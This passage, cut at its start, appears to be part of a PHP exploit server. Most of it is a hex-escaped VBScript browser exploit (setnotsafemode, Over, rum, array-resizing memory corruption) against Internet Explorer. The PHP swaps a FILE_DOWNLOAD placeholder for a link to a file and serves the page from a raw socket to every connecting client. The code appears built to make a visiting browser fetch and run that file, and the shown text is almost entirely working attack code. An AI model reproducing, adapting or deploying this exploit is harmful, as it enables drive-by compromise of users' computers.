&quot;&#92;x37&#92;x33&#92;x31&#92;x33&#92;x32&#92;x34&#92;x45&#92;x2d&#92;x33&#92;x31&#92;x30&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x6d&#92;x79&#92;x64&#92;x61&quot;.
&quot;&#92;x74&#92;x61&#92;x3d&#92;x61&#92;x61&#92;x28&#92;x61&#92;x31&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x72&#92;x65&#92;x64&#92;x69&#92;x6d&#92;x20&#92;x20&#92;x50&quot;.
&quot;&#92;x72&#92;x65&#92;x73&#92;x65&#92;x72&#92;x76&#92;x65&#92;x20&#92;x61&#92;x61&#92;x28&#92;x61&#92;x30&#92;x29&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x65&#92;x6e&#92;x64&#92;x20&#92;x66&#92;x75&quot;.
&quot;&#92;x6e&#92;x63&#92;x74&#92;x69&#92;x6f&#92;x6e&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x66&#92;x75&#92;x6e&#92;x63&#92;x74&#92;x69&#92;x6f&#92;x6e&#92;x20&quot;.
&quot;&#92;x73&#92;x65&#92;x74&#92;x6e&#92;x6f&#92;x74&#92;x73&#92;x61&#92;x66&#92;x65&#92;x6d&#92;x6f&#92;x64&#92;x65&#92;x28&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x4f&#92;x6e&quot;.
&quot;&#92;x20&#92;x45&#92;x72&#92;x72&#92;x6f&#92;x72&#92;x20&#92;x52&#92;x65&#92;x73&#92;x75&#92;x6d&#92;x65&#92;x20&#92;x4e&#92;x65&#92;x78&#92;x74&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x69&#92;x3d&#92;x6d&#92;x79&#92;x64&#92;x61&#92;x74&#92;x61&#92;x28&#92;x29&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x69&#92;x3d&#92;x72&#92;x75&#92;x6d&#92;x28&quot;.
&quot;&#92;x69&#92;x2b&#92;x38&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x69&#92;x3d&#92;x72&#92;x75&#92;x6d&#92;x28&#92;x69&#92;x2b&#92;x31&#92;x36&#92;x29&#92;x0d&#92;x0a&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x6a&#92;x3d&#92;x72&#92;x75&#92;x6d&#92;x28&#92;x69&#92;x2b&#92;x26&#92;x68&#92;x31&#92;x33&#92;x34&#92;x29&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x66&#92;x6f&#92;x72&#92;x20&#92;x6b&#92;x3d&#92;x30&#92;x20&#92;x74&#92;x6f&#92;x20&#92;x26&#92;x68&#92;x36&#92;x30&#92;x20&#92;x73&#92;x74&#92;x65&#92;x70&#92;x20&#92;x34&#92;x0d&quot;.
&quot;&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x6a&#92;x3d&#92;x72&#92;x75&#92;x6d&#92;x28&#92;x69&#92;x2b&#92;x26&#92;x68&#92;x31&#92;x32&#92;x30&#92;x2b&#92;x6b&quot;.
&quot;&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x69&#92;x66&#92;x28&#92;x6a&#92;x3d&#92;x31&#92;x34&#92;x29&#92;x20&#92;x74&#92;x68&#92;x65&#92;x6e&quot;.
&quot;&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x6a&#92;x3d&#92;x30&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x72&#92;x65&#92;x64&quot;.
&quot;&#92;x69&#92;x6d&#92;x20&#92;x20&#92;x50&#92;x72&#92;x65&#92;x73&#92;x65&#92;x72&#92;x76&#92;x65&#92;x20&#92;x61&#92;x61&#92;x28&#92;x61&#92;x32&#92;x29&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x61&#92;x61&#92;x28&#92;x61&#92;x31&#92;x2b&#92;x32&#92;x29&#92;x28&quot;.
&quot;&#92;x69&#92;x2b&#92;x26&#92;x68&#92;x31&#92;x31&#92;x63&#92;x2b&#92;x6b&#92;x29&#92;x3d&#92;x61&#92;x62&#92;x28&#92;x34&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x72&#92;x65&#92;x64&#92;x69&#92;x6d&#92;x20&#92;x20&#92;x50&#92;x72&#92;x65&#92;x73&#92;x65&#92;x72&#92;x76&#92;x65&#92;x20&quot;.
&quot;&#92;x61&#92;x61&#92;x28&#92;x61&#92;x30&#92;x29&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x6a&#92;x3d&#92;x30&#92;x20&#92;x0d&#92;x0a&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x6a&#92;x3d&#92;x72&#92;x75&#92;x6d&#92;x28&#92;x69&#92;x2b&#92;x26&#92;x68&quot;.
&quot;&#92;x31&#92;x32&#92;x30&#92;x2b&#92;x6b&#92;x29&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x45&#92;x78&#92;x69&#92;x74&#92;x20&#92;x66&#92;x6f&#92;x72&#92;x0d&#92;x0a&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x65&#92;x6e&#92;x64&#92;x20&#92;x69&#92;x66&#92;x0d&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x6e&#92;x65&#92;x78&#92;x74&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x61&#92;x62&#92;x28&#92;x32&#92;x29&#92;x3d&#92;x31&#92;x2e&#92;x36&#92;x39&#92;x37&quot;.
&quot;&#92;x35&#92;x39&#92;x36&#92;x36&#92;x33&#92;x33&#92;x31&#92;x36&#92;x37&#92;x34&#92;x37&#92;x45&#92;x2d&#92;x33&#92;x31&#92;x33&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x72&#92;x75&quot;.
&quot;&#92;x6e&#92;x6d&#92;x75&#92;x6d&#92;x61&#92;x61&#92;x28&#92;x29&#92;x20&#92;x0d&#92;x0a&#92;x65&#92;x6e&#92;x64&#92;x20&#92;x66&#92;x75&#92;x6e&#92;x63&#92;x74&#92;x69&#92;x6f&#92;x6e&#92;x0d&quot;.
&quot;&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x66&#92;x75&#92;x6e&#92;x63&#92;x74&#92;x69&#92;x6f&#92;x6e&#92;x20&#92;x4f&#92;x76&#92;x65&#92;x72&#92;x28&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x4f&#92;x6e&#92;x20&#92;x45&#92;x72&#92;x72&#92;x6f&#92;x72&#92;x20&#92;x52&#92;x65&#92;x73&#92;x75&#92;x6d&#92;x65&#92;x20&#92;x4e&#92;x65&#92;x78&#92;x74&#92;x0d&#92;x0a&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x64&#92;x69&#92;x6d&#92;x20&#92;x74&#92;x79&#92;x70&#92;x65&#92;x31&#92;x2c&#92;x74&#92;x79&#92;x70&#92;x65&#92;x32&#92;x2c&#92;x74&#92;x79&#92;x70&#92;x65&#92;x33&quot;.
&quot;&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x4f&#92;x76&#92;x65&#92;x72&#92;x3d&#92;x46&#92;x61&#92;x6c&#92;x73&#92;x65&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x61&#92;x30&quot;.
&quot;&#92;x3d&#92;x61&#92;x30&#92;x2b&#92;x61&#92;x33&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x61&#92;x31&#92;x3d&#92;x61&#92;x30&#92;x2b&#92;x32&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x61&#92;x32&#92;x3d&#92;x61&#92;x30&#92;x2b&#92;x26&#92;x68&#92;x38&#92;x30&#92;x30&#92;x30&#92;x30&#92;x30&#92;x30&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x72&#92;x65&#92;x64&#92;x69&#92;x6d&#92;x20&#92;x20&#92;x50&#92;x72&#92;x65&#92;x73&#92;x65&#92;x72&#92;x76&#92;x65&#92;x20&#92;x61&#92;x61&#92;x28&#92;x61&#92;x30&quot;.
&quot;&#92;x29&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x72&#92;x65&#92;x64&#92;x69&#92;x6d&#92;x20&#92;x20&#92;x20&#92;x61&#92;x62&#92;x28&#92;x61&#92;x30&#92;x29&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x72&#92;x65&#92;x64&#92;x69&#92;x6d&#92;x20&#92;x20&#92;x50&#92;x72&#92;x65&quot;.
&quot;&#92;x73&#92;x65&#92;x72&#92;x76&#92;x65&#92;x20&#92;x61&#92;x61&#92;x28&#92;x61&#92;x32&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x74&quot;.
&quot;&#92;x79&#92;x70&#92;x65&#92;x31&#92;x3d&#92;x31&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x61&#92;x62&#92;x28&#92;x30&#92;x29&#92;x3d&#92;x31&#92;x2e&#92;x31&#92;x32&#92;x33&#92;x34&quot;.
&quot;&#92;x35&#92;x36&#92;x37&#92;x38&#92;x39&#92;x30&#92;x31&#92;x32&#92;x33&#92;x34&#92;x35&#92;x36&#92;x37&#92;x38&#92;x39&#92;x30&#92;x31&#92;x32&#92;x33&#92;x34&#92;x35&#92;x36&#92;x37&#92;x38&quot;.
&quot;&#92;x39&#92;x30&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x61&#92;x61&#92;x28&#92;x61&#92;x30&#92;x29&#92;x3d&#92;x31&#92;x30&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x49&#92;x66&#92;x28&#92;x49&#92;x73&#92;x4f&#92;x62&#92;x6a&#92;x65&#92;x63&#92;x74&#92;x28&quot;.
&quot;&#92;x61&#92;x61&#92;x28&#92;x61&#92;x31&#92;x2d&#92;x31&#92;x29&#92;x29&#92;x20&#92;x3d&#92;x20&#92;x46&#92;x61&#92;x6c&#92;x73&#92;x65&#92;x29&#92;x20&#92;x54&#92;x68&#92;x65&#92;x6e&#92;x0d&quot;.
&quot;&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x69&#92;x66&#92;x28&#92;x69&#92;x6e&#92;x74&#92;x56&#92;x65&#92;x72&#92;x73&#92;x69&#92;x6f&#92;x6e&#92;x3c&#92;x34&#92;x29&quot;.
&quot;&#92;x20&#92;x74&#92;x68&#92;x65&#92;x6e&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x6d&#92;x65&#92;x6d&#92;x3d&#92;x63&#92;x69&quot;.
&quot;&#92;x6e&#92;x74&#92;x28&#92;x61&#92;x30&#92;x2b&#92;x31&#92;x29&#92;x2a&#92;x31&#92;x36&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x6a&#92;x3d&#92;x76&#92;x61&#92;x72&#92;x74&#92;x79&#92;x70&#92;x65&#92;x28&#92;x61&quot;.
&quot;&#92;x61&#92;x28&#92;x61&#92;x31&#92;x2d&#92;x31&#92;x29&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x69&#92;x66&#92;x28&quot;.
&quot;&#92;x28&#92;x6a&#92;x3d&#92;x6d&#92;x65&#92;x6d&#92;x2b&#92;x34&#92;x29&#92;x20&#92;x6f&#92;x72&#92;x20&#92;x28&#92;x6a&#92;x2a&#92;x38&#92;x3d&#92;x6d&#92;x65&#92;x6d&#92;x2b&#92;x38&#92;x29&quot;.
&quot;&#92;x29&#92;x20&#92;x74&#92;x68&#92;x65&#92;x6e&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x69&#92;x66&quot;.
&quot;&#92;x28&#92;x76&#92;x61&#92;x72&#92;x74&#92;x79&#92;x70&#92;x65&#92;x28&#92;x61&#92;x61&#92;x28&#92;x61&#92;x31&#92;x2d&#92;x31&#92;x29&#92;x29&#92;x3c&#92;x3e&#92;x30&#92;x29&#92;x20&#92;x20&quot;.
&quot;&#92;x54&#92;x68&#92;x65&#92;x6e&#92;x20&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x49&#92;x66&#92;x28&#92;x49&#92;x73&#92;x4f&#92;x62&#92;x6a&#92;x65&#92;x63&#92;x74&#92;x28&#92;x61&#92;x61&#92;x28&#92;x61&#92;x31&#92;x29&#92;x29&#92;x20&#92;x3d&quot;.
&quot;&#92;x20&#92;x46&#92;x61&#92;x6c&#92;x73&#92;x65&#92;x20&#92;x29&#92;x20&#92;x54&#92;x68&#92;x65&#92;x6e&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x74&quot;.
&quot;&#92;x79&#92;x70&#92;x65&#92;x31&#92;x3d&#92;x56&#92;x61&#92;x72&#92;x54&#92;x79&#92;x70&#92;x65&#92;x28&#92;x61&#92;x61&#92;x28&#92;x61&#92;x31&#92;x29&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x65&#92;x6e&#92;x64&#92;x20&#92;x69&#92;x66&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x65&#92;x6e&#92;x64&#92;x20&#92;x69&#92;x66&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x65&quot;.
&quot;&#92;x6c&#92;x73&#92;x65&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x72&#92;x65&#92;x64&#92;x69&#92;x6d&#92;x20&quot;.
&quot;&#92;x20&#92;x50&#92;x72&#92;x65&#92;x73&#92;x65&#92;x72&#92;x76&#92;x65&#92;x20&#92;x61&#92;x61&#92;x28&#92;x61&#92;x30&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x65&#92;x78&#92;x69&#92;x74&#92;x20&#92;x20&#92;x66&#92;x75&#92;x6e&#92;x63&#92;x74&#92;x69&#92;x6f&#92;x6e&#92;x0d&#92;x0a&#92;x20&quot;.
&quot;&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x65&#92;x6e&#92;x64&#92;x20&#92;x69&#92;x66&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x65&#92;x6c&#92;x73&#92;x65&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x69&quot;.
&quot;&#92;x66&#92;x28&#92;x76&#92;x61&#92;x72&#92;x74&#92;x79&#92;x70&#92;x65&#92;x28&#92;x61&#92;x61&#92;x28&#92;x61&#92;x31&#92;x2d&#92;x31&#92;x29&#92;x29&#92;x3c&#92;x3e&#92;x30&#92;x29&#92;x20&quot;.
&quot;&#92;x20&#92;x54&#92;x68&#92;x65&#92;x6e&#92;x20&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x49&#92;x66&#92;x28&#92;x49&#92;x73&#92;x4f&#92;x62&#92;x6a&#92;x65&#92;x63&#92;x74&#92;x28&#92;x61&#92;x61&#92;x28&#92;x61&#92;x31&#92;x29&#92;x29&#92;x20&#92;x3d&#92;x20&#92;x46&quot;.
&quot;&#92;x61&#92;x6c&#92;x73&#92;x65&#92;x20&#92;x29&#92;x20&#92;x54&#92;x68&#92;x65&#92;x6e&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x74&#92;x79&#92;x70&#92;x65&#92;x31&#92;x3d&#92;x56&#92;x61&#92;x72&#92;x54&#92;x79&#92;x70&#92;x65&#92;x28&#92;x61&#92;x61&#92;x28&quot;.
&quot;&#92;x61&#92;x31&#92;x29&#92;x29&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x65&#92;x6e&#92;x64&#92;x20&quot;.
&quot;&#92;x69&#92;x66&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x65&#92;x6e&#92;x64&#92;x20&#92;x69&#92;x66&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x65&quot;.
&quot;&#92;x6e&#92;x64&#92;x20&#92;x69&#92;x66&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x65&#92;x6e&#92;x64&#92;x20&#92;x69&#92;x66&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x49&quot;.
&quot;&#92;x66&#92;x28&#92;x74&#92;x79&#92;x70&#92;x65&#92;x31&#92;x3d&#92;x26&#92;x68&#92;x32&#92;x66&#92;x36&#92;x36&#92;x29&#92;x20&#92;x54&#92;x68&#92;x65&#92;x6e&#92;x20&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x4f&#92;x76&#92;x65&#92;x72&#92;x3d&#92;x54&#92;x72&quot;.
&quot;&#92;x75&#92;x65&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x45&#92;x6e&#92;x64&#92;x20&#92;x49&#92;x66&#92;x20&#92;x20&#92;x0d&#92;x0a&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x49&#92;x66&#92;x28&#92;x74&#92;x79&#92;x70&#92;x65&#92;x31&#92;x3d&#92;x26&#92;x68&#92;x42&#92;x39&#92;x41&#92;x44&#92;x29&#92;x20&#92;x54&#92;x68&#92;x65&quot;.
&quot;&#92;x6e&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x4f&#92;x76&#92;x65&#92;x72&#92;x3d&#92;x54&#92;x72&#92;x75&#92;x65&#92;x0d&#92;x0a&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x77&#92;x69&#92;x6e&#92;x39&#92;x78&#92;x3d&#92;x31&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x45&quot;.
&quot;&#92;x6e&#92;x64&#92;x20&#92;x49&#92;x66&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x72&#92;x65&#92;x64&#92;x69&#92;x6d&#92;x20&#92;x20&#92;x50&quot;.
&quot;&#92;x72&#92;x65&#92;x73&#92;x65&#92;x72&#92;x76&#92;x65&#92;x20&#92;x61&#92;x61&#92;x28&#92;x61&#92;x30&#92;x29&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&quot;.
&quot;&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x65&#92;x6e&#92;x64&#92;x20&#92;x66&#92;x75&#92;x6e&#92;x63&#92;x74&#92;x69&#92;x6f&quot;.
&quot;&#92;x6e&#92;x0d&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x66&#92;x75&#92;x6e&#92;x63&#92;x74&#92;x69&#92;x6f&#92;x6e&#92;x20&#92;x72&#92;x75&#92;x6d&#92;x28&#92;x61&#92;x64&#92;x64&#92;x29&#92;x20&quot;.
&quot;&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x4f&#92;x6e&#92;x20&#92;x45&#92;x72&#92;x72&#92;x6f&#92;x72&#92;x20&#92;x52&#92;x65&#92;x73&#92;x75&#92;x6d&#92;x65&#92;x20&#92;x4e&#92;x65&quot;.
&quot;&#92;x78&#92;x74&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x72&#92;x65&#92;x64&#92;x69&#92;x6d&#92;x20&#92;x20&#92;x50&#92;x72&#92;x65&#92;x73&#92;x65&#92;x72&#92;x76&#92;x65&#92;x20&quot;.
&quot;&#92;x61&#92;x61&#92;x28&#92;x61&#92;x32&#92;x29&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x61&#92;x62&#92;x28&#92;x30&#92;x29&quot;.
&quot;&#92;x3d&#92;x30&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x61&#92;x61&#92;x28&#92;x61&#92;x31&#92;x29&#92;x3d&#92;x61&#92;x64&#92;x64&#92;x2b&#92;x34&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x61&#92;x62&#92;x28&#92;x30&#92;x29&#92;x3d&#92;x31&#92;x2e&#92;x36&#92;x39&#92;x37&#92;x35&#92;x39&#92;x36&quot;.
&quot;&#92;x36&#92;x33&#92;x33&#92;x31&#92;x36&#92;x37&#92;x34&#92;x37&#92;x45&#92;x2d&#92;x33&#92;x31&#92;x33&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x72&#92;x75&#92;x6d&#92;x3d&#92;x6c&#92;x65&#92;x6e&#92;x62&#92;x28&#92;x61&#92;x61&#92;x28&#92;x61&#92;x31&#92;x29&#92;x29&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&quot;.
&quot;&#92;x20&#92;x20&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x61&#92;x62&#92;x28&#92;x30&#92;x29&#92;x3d&#92;x30&#92;x0d&#92;x0a&#92;x20&#92;x20&#92;x20&#92;x20&#92;x72&#92;x65&#92;x64&quot;.
&quot;&#92;x69&#92;x6d&#92;x20&#92;x20&#92;x50&#92;x72&#92;x65&#92;x73&#92;x65&#92;x72&#92;x76&#92;x65&#92;x20&#92;x61&#92;x61&#92;x28&#92;x61&#92;x30&#92;x29&#92;x0d&#92;x0a&#92;x65&#92;x6e&#92;x64&quot;.
&quot;&#92;x20&#92;x66&#92;x75&#92;x6e&#92;x63&#92;x74&#92;x69&#92;x6f&#92;x6e&#92;x0d&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x3c&#92;x2f&#92;x73&#92;x63&#92;x72&#92;x69&#92;x70&#92;x74&#92;x3e&#92;x0d&quot;.
&quot;&#92;x0a&#92;x20&#92;x0d&#92;x0a&#92;x3c&#92;x2f&#92;x62&#92;x6f&#92;x64&#92;x79&#92;x3e&#92;x0d&#92;x0a&#92;x3c&#92;x2f&#92;x68&#92;x74&#92;x6d&#92;x6c&#92;x3e&quot;;
$msgd=str_replace&#40;&quot;FILE_DOWNLOAD&quot;,$link,$msgd&#41;;

for &#40;;;&#41; {
    if &#40;$client = @socket_accept&#40;$reza&#41;&#41; {
        socket_write&#40;$client, &quot;HTTP/1.1 200 OK&#92;r&#92;n&quot; .
                     &quot;Content-length: &quot; . strlen&#40;$msgd&#41; . &quot;&#92;r&#92;n&quot; .
                     &quot;Content-Type: text/html; charset=UTF-8&#92;r&#92;n&#92;r&#92;n&quot; .
                     $msgd&#41;;
